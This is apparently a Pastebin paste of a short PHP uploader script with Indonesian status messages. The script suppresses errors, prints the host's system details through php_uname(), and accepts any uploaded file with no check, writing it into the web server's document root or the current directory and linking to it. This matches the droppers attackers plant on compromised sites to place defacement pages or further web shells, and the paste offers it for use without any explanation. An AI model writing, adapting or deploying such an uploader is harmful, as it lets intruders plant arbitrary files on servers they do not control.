rootasuna

das

Oct 27th, 2022
354
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.94 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3.  
  4. echo "<h1><i>Chitoge kirisaki <3</i></h1><br>";
  5. echo "<b><phpuname>".php_uname()."</phpuname></b><br>";
  6. echo "<form method='post' enctype='multipart/form-data'>
  7. <input type='file' name='idx_file'>
  8. <input type='submit' name='upload' value='upload'>
  9. </form>";
  10. $root = $_SERVER['DOCUMENT_ROOT'];
  11. $files = $_FILES['idx_file']['name'];
  12. $dest = $root.'/'.$files;
  13. if(isset($_POST['upload'])) {
  14. if(is_writable($root)) {
  15. if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
  16. $web = "http://".$_SERVER['HTTP_HOST'];
  17. echo "Sukses -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
  18. } else {
  19. echo "gagal upload di document root.";
  20. }
  21. } else {
  22. if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
  23. echo "sukses upload <b>$files</b> di folder ini";
  24. } else {
  25. echo "gagal upload";
  26. }
  27. }
  28. }
  29. ?>
Advertisement
Add Comment
Please, Sign In to add comment